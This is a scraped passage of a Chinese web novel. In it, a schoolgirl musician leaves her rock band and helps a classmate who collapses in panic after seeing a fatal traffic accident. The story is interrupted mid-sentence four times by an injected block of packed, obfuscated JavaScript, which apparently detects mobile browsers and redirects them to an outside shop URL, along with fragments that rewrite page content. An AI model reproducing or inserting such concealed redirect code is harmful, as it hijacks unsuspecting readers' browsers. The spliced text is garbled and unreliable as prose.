曲林声音疲惫。他一直是个很文静的人,从事文书工作让他身上总是带着淡淡的忧郁和书卷气。性格所致,他在一些方面墨守成规,不喜欢热闹和聚会,不抽烟不喝酒也不骂人,与喜欢热闹的林语邱形成鲜明对立。大多时候吵架,看上去是林语邱在单方面埋怨着。 曲葵时常会想,像她父母这样天差地别的两人,是怎么走到一起的,还是闪婚。 苹果并不好吃,酸得发涩,曲葵咽下一口就再也吃不进去了。她用手背胡乱抹去嘴唇上的汁水,说:“可是,一直这么吵,不累吗?” 曲林望着地面的夕阳,口头还是那句:“你还好,不懂。” 怎么会不懂呢。 无非就是还爱着,所以才无可奈何忍受着。 可是曲葵说不出口,只要看着曲林,她就会想到那张失去血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858549|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的脸。 “都是因为你!这一切都是因为你!” 曲葵闭上眼睛,试图回避耳边梦魇搬扰人的嗡鸣。 回到卧室,曲葵戴上耳机,将手机声音放到连鼓膜都有些发疼的程度。才终于隔绝窗外令人心烦意乱的蝉鸣。 夕阳照进来,墙壁染染昏黄,书桌上一抹克莱因蓝尤为醒目,曲葵从堆积如山的试卷与课本中费力抽出,封面印着一只镂空的烫金蝴蝶。这是她一直带在身边的歌词本,不过辍学之后就再也没有打开过、 曲葵翻开,熟悉的手绘五线谱映入眼帘。 笔记本上都是未完成创作的曲谱,大抵是她某些时期灵感爆发的产物,有些地方写了几行充满愤懑的英文歌词。 翻译过来就是——去他妈的世界,去他妈的考试。 曲葵暂停音乐,跟着音符在桌子上打拍子。她那时候收藏了很多国内外的专辑CD和黑胶片,放满房间内2X3m的的书柜,涵盖摇滚、爵士、乡村、电子、流行几个种类,还专门买了CD机和唱片机。周末不出门就在家里玩音乐,邻居都觉得她是怪物。 手机铃声打断曲葵,接通,那边声音很吵,似乎有人在唱歌,还能隐约听到钢琴和架子鼓的声音。 是不是打错了,曲葵皱眉。 联系人——:D。 这个备注,有印象。 “曲葵?”电话另一头响起慵懒的男中音:“怎么不说话,我应该没打错吧。” “是我。”曲葵应了声。 :D的声音立刻带了笑意,“今晚九点有个演出,目前就差你这个主唱了。老地方见,怎么样?” 5. 吉他 七点零五。 曲葵站在“微醺”门口。 她不太记得:D说的老地方是不是这里,2011年扬明还在初步建设阶段,全市只有这一条步行街上有酒吧。目前天色不算晚,酒吧的霓虹灯牌没亮,步行街还没真正活过来。 曲葵没进去,在人行道上来回踢着碎石子,她把灰色防晒衣拉链拉到了最高,鸭舌帽压得有些乱糟糟的中分刘海,遮住大半过分张扬漂亮的脸蛋。看上去像第一次出门作案的小毛贼,短短几分钟,酒吧新来的服务员已经抬头看了她第四次。 热浪中站了一会儿,曲葵打算编个理由说自己来不了。 前脚刚抬起,被人一把勾住肩膀。 “人都到了怎么还站外面不进来?” 来者半个体重都压她身上,曲葵止不住朝前踉跄,稳住步伐侧目一看,穿黑T恤的男生近在咫尺。 是个酷哥。眼角微微下垂,整个人显得傲慢又刻薄。板寸,戴耳钉,眉骨处有一道浅浅的疤,嘴角带着放诞不羁的笑,欠得让人想揍上一拳。T恤袖子下露出手臂上一截刺青,看不清是什么图案。 ——程渡,她高中时期最铁的哥们,目前因为打架休学。 刚上高中,曲葵常在父母吵架夜晚背着吉他到酒吧唱歌。因为林语邱,曲葵从小学古典乐,会好几种乐器,也许是名字里带着个曲,曲葵对音乐十分敏锐,林语邱弹一段音,她就能一分不差复弹出来。之后又跟着林语邱的一个在大学当声乐老师的朋友学了一年美声,流行歌几乎难不倒她。 她用唱歌赚的钱买了一台新款iphone,有时录cover或几段即兴指弹发布到网络平台上。她音域广,气息稳,唱歌时有种金属芯质感,作品刚发布就有很多红心。 高一下半学期,曲葵去酒吧时,程渡找上来,问她组不组乐队。 “程渡。”曲葵感觉思维快被烈日燃烧殆尽,胸口憋着一口气,咽不进去,吐不出来。 她烦躁拍他胳膊,“别来扒拉我。” 程渡松开手。 他喝了酒,嗓音中透露出一股沙沙的慵懒,半开玩笑道:“曲大主唱真让我们好等,还以为您要放我们鸽子呢。” “我就没说要来好吧。”是程渡根本没有给她拒绝的机会,她打过去,程渡的手机一直处于通话中。 “你要这么说的话,我可就伤心了啊。”程渡道歉,不过语气里没一点歉意,“挂你电话是我错了,这不是住我家对门那个小恶霸一直打电话连番轰炸,说要替我妈管教我,还好我技高一筹,直接把她反锁在我家了……哈哈哈哈!!”这人说着说着,自个在那儿笑得直不起腰:“那表情,真他妈逗哈哈哈……” 曲葵一脸冷漠:“你是不是有毛病。” 程渡这么一说,曲葵倒想起经常跟在程渡身后那个娇小的短发女孩,她只是远远见过几眼,没看清楚脸,也没说上话。 曲葵看他总提她,就问:“所以那是你新女朋友?” “咳咳咳……”程渡被噎住,笑声戛然而止。 曲葵又问:“难道不是吗?” “别,打住,我两之间比石灰粉还要清白。”程渡张口反驳,末了生无可恋地叹起气来,“不说她了。等我抽根烟再进去,刚又被缠着要电话,我跟她们说去接女朋友才跑出来透气,等会还得好哥们你配合一下。”他从裤兜摸出打火机和一包烟,习惯性抽出一支递给曲葵:“需要小弟帮您点吗?” “我不抽。”曲葵推开。 程渡噌一下点燃那支烟,一口吸了一大截,吐出个烟圈,戏谑:“哟,太阳打西边出来了,你也改过自新了?” “怎么说?” “感觉,稍微有点不像你。” 曲葵扯了下嘴角,她不太记得高中的自己是什么模样了。 “你觉得什么才像我。” 程渡想了会儿,憋出两个形容词:“奔放,不羁?” 曲葵:“听上去更像你在自恋。” “谬赞。”程渡在烟雾缭绕中垂下眼,“对了,我刚就想问,你吉他呢?” 曲葵早就找好借口:“坏了。” 两人友谊维持两年多,从没向对方坦露过自己的家庭遭遇。但玩音乐的多少带点离经叛道,人一旦不同于大众,就会被当做异类。 程渡:“谁惹我们团宠了?” 曲葵:“没,下楼时候摔了。” 程渡把剩一大半的烟掐灭扔进垃圾箱:“我叔那有多余的,等会你试试。” 曲葵不想和他继续扯轱辘轴话,“其实我是来——” 程渡人已经走上台阶,回头,“你说什么?” 曲葵被打断,有些话想接着说就难,只好也进了酒吧。 刚进去,就有两位打扮得花枝招展的女孩迎面走来,身上喷着俗且浓的香水,应该就是程渡说的人。 其中一个女孩看见程渡,脸色一喜,正要开口,曲葵就被程渡当挡箭牌推了出去。 程渡人高马大弯腰躲她身后,只露出半颗脑袋:“这我女朋友。” 曲葵:“……?” 女孩怔了下,又眼巴巴望向她。 曲葵骑虎难下,只好陪程渡唱这出戏,挤了个十分“甜美”的假笑,夹着声对女孩说:“你们好呀,我是他女朋友。”其实自己都快吐出来了。 她表现得大方,素颜呈现出骨相的优越,颇有“正宫”气势。 程渡接着说:“姑奶奶们,看到了吧,真没跟你们开玩笑。” 两人一唱一和,配合天衣无缝,成功将女孩想说出的话扼杀在摇篮里。 女孩走了。 程渡痞笑,想揉她的头:“三克YOU。” “你赶紧找个女朋友。”曲葵听程渡说着仿佛体育老师教的英语。他的那些撩妹技术对她起不到任何作用,曲葵拍开他的手,“下次我不会帮你了。” “这么无情啊!” 酒吧九点以后才是高峰期,这会儿只有吧台上坐着几个人。老板是程渡他亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858550|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔,周末晚上会把音乐停了,让他们自己弹奏乐器唱歌。时间一久传开了,就时不时有乐队来借场地搞演出。 蓝色镭射灯光下,台上两个男生一左一右,摆弄乐器。 曲葵的摇滚乐队名叫“烟灰”,共四人,除了曲葵都是男生。程渡最开始是主唱,自从曲葵这个吉他手兼主唱加入后,他主动退居二线当起了贝斯手。鼓手宋鱼在站舞台左边弹电子琴,键盘手吴椎在敲架子鼓。 随性弹奏的电子琴,音符走调也不管不顾,配合叮叮咚咚的鼓声,曲葵听了一会儿,发现他们弹得是周杰伦的《晴天》。 程渡听不下去了,跳上去,一脚踹在把架子鼓敲得活像在奔丧招魂的吴椎屁股上,“停了赶紧停了。”他威胁:“不然我录下来每天清早搁你两耳朵边洗脑循环。” “我艹你个狗逼,属鬼啊,什么时候上来的!”吴椎被他吓了一大跳,猛地弹起来,凳子向后一歪,人差点跟着和大地母亲来了个亲密接触,手中的鼓棒也掉在地上。 程渡拍吴椎脑袋:“您九漏鱼吗?十二生肖里没鬼知不知道。” 吴椎抗拒地拍开他手:“滚呐!再拍你哥哥头要是长不高以后找不到媳妇你负责吗?”他今年高三,身高还没到170,一天要喝两瓶奶,觉得被拍头是受到了侮辱。 宋鱼问:“曲葵呢?” “我在这儿。”曲葵伸手和他们打招呼,她不喜欢太暗的地方,让她感到压抑,想起北方那个昏暗无光,弥漫着酒精味的家。 曲葵有些反胃。 程渡招呼她上台,递给她一把黑白配色的雅马哈电吉他:“试试,没调过。” 曲葵掂量着吉他分量,一时间有些不知所措。 她记得自己摘未来搬家只拿走最喜欢的吉他,家中的专辑全被送给旧货市场的人低价出售,可惜吉他也在曲林醉酒后砸坏。现在一切没发生,吉他完好无损放在书房,只是她也再没拿起来。虽然乐理知识和基本功还没全部忘,可拿吉他起就觉得放松,觉得欣喜的心情,早就随着时光流逝不复存在。 曲葵摩挲着手指上因为常年按弦磨起的一层薄薄老茧,倏忽生出一个疑问。 曾经这种生活是正确的吗吗,假如过去的自己,会提前知道未来发生的一切,还能不为所动,还能活得这么坦然自若吗? 抱着这个疑问,曲葵沉默着拨动弦,弹响几个音节。 是《晴天》的前奏。 G调,没有加入和弦,弦微微颤动,声音随之流出。 手指每把弦拨响一次,大脑里的那根法槌就落下一次,重重地,一下又一下地,审判她,砸碎她的傲骨和轻狂。 于是悬而未决的心落下,压在胸口的闷气喷发而出,四散成一股股黑色的混乱曲线,又变成阴影中的蛇缓缓逼近,遏住她的四肢,将她死死钉在原地。 那感觉,犹如血液在身体里一点点干涸。 然后曲葵也知道了,她再也不是那个满心热忱,热爱音乐的十七岁曲葵。 6. 逃离 “你又弹错了。”程渡说。 四人排练半小时,曲葵频频出错,不是抢拍就是掉拍,严重时连调都弹错。 “我的问题。”曲葵脸色苍白。排练时间明明才过去十分钟,她觉得像经历了漫长的一个世纪。本该让她爱不释手的乐器,现在让她感到厌烦,引以为傲的音感也没有发挥作用。 程渡疑惑:“之前排练时感觉默契挺好的啊,怎么今天一直出问题。”之前曲葵从不出错。 橙黄色的光束照下,曲葵拧紧眉心,无意识地咬着嘴唇。 宋鱼担忧:“你真没事吗?” “真没事。”曲葵扭头避开他们的目光,“昨晚没睡好。” 离九点还早,台下聚了一些观众,他们不懂乐器,在接二连三的中断议论纷纷。 “你歇会吧,我看你状态有些不对。” 说完,程渡去吧台帮她要了杯冰水,曲葵没接,她取下吉他,放在支架上,“我有话要说。” 程渡看她心事重的模样,神情也严肃起来:“你说。” 曲葵看着程渡手中的那杯水。蓝色透明玻璃杯上凝起的一颗水珠,它正沿着杯口顶峰滑落,坠到地面,粉身碎骨。 她借着昏沉的光,那样别人就看不清她此刻的表情:“我要退出,我不搞摇滚乐了。” 气氛在曲葵话音落下的瞬间跌至寒冰。 四人都是高中生,对于他们来说,时间是挤出来的。他们花了半年多才统一各自曲风磨合出默契,又通过不断排练,才渐渐形成乐队的风格,现在因为她的退出前功尽弃。 几个人安静了一阵,还是程渡先说话:“为什么,总不至于是因为这几个错误,你就被打击到了。” “不是。”曲葵低着头,“我弹不下去。” 曲葵玩摇滚的事情一直遭到林语邱的强烈反对。林语邱觉得摇滚太吵不优雅,并且曲葵去酒吧卖唱的行为不入流也不学好。后来被她的那些古典圈的朋友们知道了,每次做客问起,林语邱都觉得丢脸。 曲葵抱过撞南墙也绝不回头的决心追求爱好。 直到后来才知道,事实并非如同想象那般美好。 因为命不允许。 她搬离扬明后,曾在手机上看见程渡乐队发行歌曲一炮而红的消息,她的乐队没有再加入新主唱,不过这和她已经没有关系了。 也许像曲林说的,一切的开端都是因为她不听话,然后像蝴蝶效应那样引发了一系列的连锁反应,最终导致的结果。 爱好也好,梦想也罢,放弃就放弃吧。 ** 七点四十一。 天边尽头血似的残阳消失在高楼房宇之下,教室中昏暗只剩一排排堆着书的座位剪影。 许一宴放下笔,高强度的精神集中后感到阵阵疲劳。 手机里的歌已经全部放完停止,他回头扫了一眼后排属于曲葵的空荡荡座位。 朱覃有事先走,今天不用打篮球,他一个人回家。 许一宴锁门离开,刚走出校门,手机铃声似有预兆地响起,他一看来电联系人,到铃声的最后一秒才接。 许明念声音在许一宴耳边响起,冷漠的,毫不留情面。 “晚饭自己解决。” “竞赛不许丢脸。” 比起家,许一宴更喜欢漫无目的在街道上瞎逛。 一幢幢老旧的楼房下,混凝土垒成的电线杆贴满各种撕不干净的小广告,被黑色电线切割成几片的灰蓝色天空,云层沉垂厚重,看着要落雨。举目一眼望不到头的长街,因为缺少光亮,被蒙上了一层朦胧的灰雾,像条垂死的蛇。来往行人动作迟缓,一张张面容扭曲成黑线团,模糊不清。 许一宴有先天性夜盲症,遗传他妈妈。在天黑路灯还未亮起的这段时期,因为看不清楚,他可以假想自己短暂从现实逃入幻象。 如果自己沉没在海底,呼入的空气就是海水,路人就是一条条鱼。 华灯初上,人潮开始涌动,万物重新被灯光照亮,许一宴开始感到无所遁形。 实际上对于他来说,无论是家还是外面,都一样窒息。 路过服装店的明亮橱窗时,许一宴从玻璃上看见到身后不远处站着个人。他站在马路另一侧的路灯下,一身黑,虽然看上去一米七出头,身体很壮。 也许是神经紧绷缘故,许一宴觉得那个人在直勾勾盯着自己,很快黑衣人头上的路灯变绿,他还在流动的人群中,一动不动。 扑光的小飞虫撞进眼眶,酸涩不住流泪,许一宴不停眨眼,等他重新回头看,那人已经消失不见。 许明念虽然是个人渣,但不至于叫人来跟踪他。 许一宴定了定神,快步朝家走去,同时寻找着四周的反光物,留意黑衣人有没有跟上来。 扬明一中隔着家几条街,说远不远,说近不近。 平常许一宴都是骑电瓶车回家,偏偏今天早上发现车轮胎扎到钉子漏气。 霉事总是连着来,不给人喘息的机会。 经过第二个十字路口,绿灯还有三秒转黄,一辆白色小轿车飞驰而过。同一时刻,许一宴旁边的非机动车道上,一辆摩托车踩着油门闯了红灯。 事故几乎在一秒内发生,许一宴听到一声刺耳的刹车声,下意识瞥去。 车轮在柏油路面擦出一道黑痕,两车重重撞在一起,发出爆炸般巨响。路口中央,小轿车车门深深凹陷,摩托车横在十字路口中央,满地零件残片和碎玻璃。车主躺在地上,白T恤染成红色,看上去已无生机,鲜血还在地上蔓延。 原本沉寂的人群像被按下开关键,骤然沸腾。他们围着看热闹,没有一个人打急救电话,一条生命的流逝对于他们来说无关紧要。 马路因车祸瘫痪,鸣笛声此起彼伏。不远处的交警抓着喇叭赶来维护秩序。 许一宴什么都听不到了。 看到血的时候,他想起七岁时那只在他面前死去的宠物狗,它躺在地上眼巴巴望着他,口中流出的血,身体微弱的起伏,喉咙似有似无的哀鸣,无一不在向他宣告它正在死去。 许明念居高临下,漠视这一切:“它死了。”他这样说着:“都是因为你不够听话,它才会死。” “知道了吗?” 许一宴蹲下去抱起它,沾了满手的血。感觉到热血渐渐变凉,最后僵硬。 不记得有没有哭,只知道满眼的红,晕开,直至无边无际,就像现在。 许一宴一阵反胃,他想离开这个混乱的是非之地,双脚犹如灌了水泥迈不开步伐。视野一片漆黑,什么都看不清楚。一阵晕眩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858551|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袭来,他失去身体的控制,还好及时扶住一棵树才不至于栽倒在地。 惊恐,心悸,耳鸣,喘不上气。 濒临死亡。 天气那么热,植物都打蔫,柏油路氧化挥发出一股刺鼻气味,许一宴却止不住地发抖冒冷汗。 他的宠物狗死后,他就开始恐惧见到血。 好冷。 身体快要结冰了。 ** 曲葵从幻象逃回了现实。 离开酒吧,温热晚风瞬间吹掉她身上凉气。她没有回头,迈开双腿奋力奔跑,仿佛这样才能减轻心中的五味杂陈。 鬓角和脸上的细绒毛被汗水打浸湿,曲葵直到跑不动才停下来。 鱼和熊掌不可兼得,她深知这个道理。在程渡问起弹不了的原因时,曲葵选择了沉默,因为她做不到坦然自若。逃避有时候是一个很不错的选择,虽然往往要承担其带来的后果。 而她所承担的后果,是失去朋友。 可比起举目无亲,友谊又显得无关紧要。 曲葵这样自我安慰。蹒跚穿过长而窄的步行街,树荫浓郁的街道,五百米后是十字路口,只要过了这条街,再向后走两百米,就能到家那条胡同口。 其实也不想回家,因为她不属于这个世界。 抬头仰望灯光也无法照亮的黑夜,天幕上看不到一颗星星,就像她心中那团永远无光的黑暗之地。 曲葵忽然产生一个的念头:会不会有个和她同样孤独的人,也在此时此刻和她一起,抬头仰望着同一片夜空。 隔着一百多米,曲葵听见交警抬着喇叭维护秩序的声音。很快警车、救护车从她旁边依次经过驶向前方。前方围着一群看热闹的人,不难猜到是车祸。 她无比讨厌冷眼看热闹的人,那让她想起曲林低声下气到处借钱时别人眼中的鄙夷。 曲葵主动避开人群,趁着绿灯走去另一侧街道。 曲葵平时走路没有左右光顾的习惯,但仿佛命运牵引一般,走过去时,鬼使神差地朝左侧多看了一眼。也就是这一眼,让她看见不远处香樟树下歪斜靠着一个男生。 他弓着脊背,抱着胳膊,好像在发抖。 身体不舒服吗?如果不管的话,会出事吧。 每秒都被拉得漫长无比,不知过了多久,许一宴听到断断续续的声音,像浸泡在水里。 他艰难分辨出那是个年轻女声:“……同学……怎么了……不舒服吗……” 他微微张口,话被急促的呼吸声取代。心率失常导致的目眩,某一时刻仿佛忘记了呼吸,身体摇晃之时,一只温热柔软的手抓住了他,比白昼的余热更有力量。 “许一宴?!” 下一秒,女孩的声音转为惊讶。 好像将他认出来了。 ……谁。 学校的学生吗。 她有着清亮好听的音色,像一阵令人始料不及海风,汹涌吹过来:“许一宴,你没事吧?” 霎时,许一宴内心的恐惧消失了一点,视力在恢复。 他抬头。 燥热的秋季,树荫下的天地一隅,女孩分外惊艳的脸蛋连同她脸上被路灯照亮的泛红眼尾,眼中的焦急以及她身后明亮的夜空,一并撞入他眼底。 清晰无比。 7. 气味 这场车祸是2011年扬明市的重大事故之一:摩托车车主酒驾闯红灯当场死亡。不仅登了报纸头版,监控画面后来还被拿去当交通安全宣传的反面例子。 原本曲葵应该在酒吧里演出,然后在星期一升旗时从同学口中得知这个事故。 曲葵想起许一宴周一时会请假,虽然理由是病假,但没准是因为这场车祸。 “一共二十七。” 药店营业员把大号创可贴、碘伏和棉签装进透明塑料袋里,递给曲葵。 2011年还没完全普及微信支付,曲葵在衣服裤子兜里找了片刻,拿出一张五十付款。 她怪自己不该多管闲事,自己的事都应接不暇了,还有心思去管别人。这要放以前她多半会视而不见,但经历曲林酗酒的那些年,她就没办法视而不见,手脚比脑子先做出了行动。 曲葵接过营业员递来的找零,背着许一宴的书包,提着东西走出去。旁边有家便利店,她又进去买了瓶常温矿泉水和一罐镭射纸包装的水果糖,站在台阶上寻找许一宴。 看热闹的人快散完了,救护车和警车也相继离开,十字路口上散落的玻璃碎片和干涸的一大滩暗红色血迹。 许一宴坐在圆球石墩上发呆,从曲葵扶他坐那到现在,他都保持这个状态,像个静止的人偶。 曲葵站在他身旁好久,他无所察觉。垂着头,黑色睫毛在脸上落下阴影,随着眨眼轻轻颤动,说不出的脆弱与孤寂。白色校服袖口出沾了一大片泥污,估计是跌倒时候蹭到的。 “喝点水吧。”曲葵把矿泉水递到许一宴眼前晃了晃。 许一宴没反应。 “别发呆啦。”曲葵把矿泉水瓶贴在他的脸。感受到凉意,许一宴机械抬头,眼里没有神采,白皙干净的脸颊上落了灰。 最开始许一宴的眼神很戒备,聚焦后看见是她,才接过去。 许一宴哑着声说了“谢谢”,拧开,仰头猛喝好几口,来不及咽下的水顺着唇角流下,擦过滚动的喉结,隐入脖颈。 曲葵第一次看到许一宴这么狼狈脆弱的样子,像只落难的鹤。 许一宴喝了半瓶,曲葵递过去两张纸,他拿走擦掉下巴上的水。动作缓慢,眉眼微垂,将眼中的疏离和冷淡都掩去,温顺起来。 曲葵内心产生了微妙的波动,想起自己,不由叹口气,索性好人做到底,蹲下去拉他的手。 许一宴皮肤在暖风中依旧很凉,曲葵触碰上去,仿佛火遇到雪。还没来得及做出下个举动,便觉手上一紧,许一宴反手攫住了她。 他神情已恢复沉静,声音冷如雪松:“你要做什么?” 他攥得紧,曲葵没有挣脱,吃痛道:“帮你处理伤口,流血了。” 许一宴才感觉手臂传来灼烧般的痛。先前他滑倒时用胳膊扶了下树,扬名一中的夏季校服是短袖,皮肤擦着树皮留下两条创口,此刻还有血珠渗出,他一直没察觉。 “不用管我,你先走吧。” 他松开她,用手把血抹去,冷白皮肤上出现几道瞩目的血痕。 曲葵见状拧起眉心,可手臂主人却满不在乎,还在用指甲抓着伤口。 “别挠了。”曲葵直接把许一宴手拍开。 许一宴被打得有点懵,抬头看向她。沉默期间曲葵拧开碘伏瓶盖,用棉签蘸取给他伤口消毒,哄小孩似的:“听话,小心感染。” 她顶着那张脸,用长辈口吻说话,根本就没有说服力,许一宴鼻腔中发出一声似笑非笑的气音。 曲葵听出他的嘲笑,也不生气:“笑什么,你别不信,我小时候跌倒破皮我爸都是这么给我处理的。” 许一宴清了清嗓:“……我知道。” 避免许一宴会疼,曲葵动作很轻,低头在伤口处轻轻吹气,许一宴始终一声不吭望着她动作。两人在某刻离得很近,曲葵红润的嘴唇眼瞅着快怼上许一宴皮肤。 “好了没?”被曲葵吹气的那圈皮肤一阵阵痒,如同四散的病毒朝着周围蔓延,许一宴略低头,闻见曲葵发丝上的烟酒味。 贴上大号创可贴,曲葵把塑料袋里的东西全部塞许一宴书包里,拉上拉链才还给他:“你离校后没回家吗?” 许一宴抿着嘴唇,用“你是不是把垃圾也扔我书包了”的怀疑眼神看了她几眼,才发出一个鼻音:“嗯”。 曲葵感到惊讶:“所以你到现在还没吃完饭?!” 这都八点多了,不饿吗?学习也要有个度吧。 许一宴通过曲葵表情读懂了她的想法,“我不饿。” 说完,他故作停顿,问:“你买那些东西花了多少钱?” 意思是要把买药的钱给她。 “可我饿了。”曲葵没接这茬,“学神,陪我吃晚饭吧。” 许一宴噎了一下:“什么……?” 什么狗屁称呼。 让他有种小学生玩角色扮演的尴尬感。 曲葵看他反应那么大,心想像许一宴这种男生自尊心强极了,肯定不乐意让她请客,就改口:“不对,我是想让你请我吃饭。” 许一宴沉默了几秒:“走吧。” 小吃街的夜生活已经开始,烧烤摊和麻辣烫坐满了人,划拳碰杯,空气里弥漫着很重的油烟味,激烈笑声的高分贝在冲击耳膜。 这让两人纷纷失去食欲,最后走进一家看上去装修简洁的小吃店,分别点了米酒汤圆和鲜肉小馄饨。 许一宴看着老板娘端上来的那个小碗,直径还没他巴掌大。许一宴知道自己这是被曲葵忽悠了:“原来你是小鸟胃啊,喝木瓜凉水就能饱。” 曲葵伸手拉墙壁风扇的开关,说得挺理直气壮:“我减肥。女孩子都喜欢保持身材。” “你不需要减肥。”许一宴很不理解,“你已经很苗条了。校花。” 曲葵被他叫得愣住,勺子里的小汤圆又掉回碗里,啪塔一声。 看到她吃瘪,许一宴唇角才几不可闻地扬了扬。 真记仇。 直到吃完东西,两人都没说话。 许一宴去付款,曲葵站在店外等他。一个人时,被压下去的烦躁又开始蠢蠢欲动。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858552|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽烟,曲葵把手伸口袋,空空如也。 曲葵原本烟瘾不大,因为总用尼古丁来缓解情绪,久而久之形成脑信号。每当不顺心时,大脑就告诉她,该抽烟了。 她在想该不该去买包烟,拿手机查看时间,有条新消息。 :D【我们找个时间谈谈?】 曲葵不知道该回复什么,半响打字:【不了】 许一宴付完钱走出来,站在她身后的台阶上,稍稍低头一瞥,看到手机上程渡给她发的消息。 许一宴问:“你在和男朋友聊天吗?” 曲葵差点把手机摔了。 她把手机揣进兜:“不是,只是一个朋友。” 许一宴又问:“那你有男朋友吗?” 曲葵猝不及防,被口水呛到:“啊?” 许一宴拍拍曲葵背帮她顺气:“不能问吗?” “我只是……没想到你会对这些感兴趣。” 除了体育课,每次她看许一宴的时候,他都在学习,既不主动和女生说话,又不参与男生之间的讨论。 曲葵一直以为,许一宴这朵高岭之花对什么都不感兴趣。 许一宴扬眉,很直白地问:“你是不是觉得,我是那种只会学习的傻瓜?” “哪有的事。” 实际上正好相反。 曲葵想:当然我这辈子都不会告诉你,我曾经喜欢过你。 许一宴不紧不慢地“哦”了声:“所以你的回答呢。” 曲葵身高一米六八,在同岁大部分女生中算是比较高的,而许一宴站在身侧,才发现对方比她高出老大一截,曲葵需要微微仰头才能看到许一宴那张轮廓分明的脸。他注视她,和那时她落入漩涡时的表情很像,都是目不转睛地,略带着打量的意味,但十分认真。 如果再靠近一点,曲葵也许就能从许一宴墨黑眼眸中看到自己有些不自然的神情,分不清楚是害羞还是别的什么。 曲葵见他没有开玩笑的迹象,深深吸了一口气:“没有。” “我还以为你有男朋友呢,”许一宴声音保留着一些少年的稚气,清澈悦耳:“刚闻到你身上的烟酒味了,你抽烟,还喝酒?” “是啊。”曲葵低头闻闻袖子,心想肯定是在酒吧里沾到的,她不做解释,只是假装惊讶,“糟糕,被你抓到把柄了。你可别告诉老师我是坏学生。” 许一宴颔首,不知道信没信,只说:“那我们扯平了。” 曲葵瞬间理解了他的意思,忍不住一笑,目光神采熠熠,像落进去星星。 “行啊。” 既然你我都见过彼此秘密,不如为对方保守。 两人回家路径一个朝南一个向北,不是朋友也不是情侣,所以都没有逛街的想法。曲葵往家的方向走去,三步后回头。 “许一宴,周一见。” 许一宴驻足原地,白衣服融入夜色,显得缱绻温和。 他说:“周一见,曲葵。” 后来曲葵才知道,这个夜晚是他们第一次见到彼此掩藏在厚重外壳下的冰山一角。 8.晚安 周一,曲葵一边洗漱一边听林语邱女士喋喋不休,大概把曲葵这17年所有令她不满意的事情都数落了一遍。 “林语邱女士,”曲葵打断她,郑重其事道,“天天生气会加速长皱纹的。” 没听到闹铃声真不能怪她,长达八年的生物钟不是那么轻易能调回来的。 林语邱正想骂人,曲葵用力拥抱她,湿漉漉的手擦林语邱裙子上,在林语邱没反应过来前,曲葵就提着书包三步并作脚步冲出门。 吃早餐也要戴着眼镜看报纸的曲林:“当心摔!” “知道!” “这小丫头片子不知道从哪看来乱七八糟的一堆东西……真长皱纹了吗?”楼上林语邱自言自语,转身去卫生间照镜子。 曲葵家离学校不远,十分钟就能走到。路上有家破酥包铺,曲葵尤其喜欢麻辣豆腐口味,包子皮层层分明酥软醇香,一口下去满嘴汤汁,豆腐又麻又辣还鲜嫩。单是想想都要流口水。 排队时她抱手打哈欠,有个胖男生挤到她,曲葵重心不稳,身后有人用掌心托住她的背。曲葵回神,转身想要道谢,一看,怎么又是…… “许一宴!?” 他不会一直站在她身后,看她犯困吧?! 许一宴放下手,表情和语气都透露着一股淡淡的无语:“以前没发现你这么厉害,站着也能睡着。” 曲葵想钻地缝,死鸭子嘴硬:“明显我有特异功能。” 许一宴很配合她,问:“什么特异功能?” “未卜先知你信不信。” “我可能更信你昨天熬夜看了科幻电影。” “不信拉倒,”曲葵眼看马上排到她,忙转移话题,“你要吃什么我一起买。” “豆沙包。”许一宴也不跟她客气。 买好早点,时间来不及,许一宴对曲葵扬了扬下巴,“我骑车来的,载你一起。”末了又补充一句:“为了报答你的包子。” 话说到这地步,曲葵没理由拒绝了,腿一抬跨上他的电瓶车:“行啊。” 许一宴把电瓶车腿架瞪上去,“我车才修好,你最好抓紧点,小心飞出去。” “你车技没这么烂——我靠!学神,能不能给点预警!” 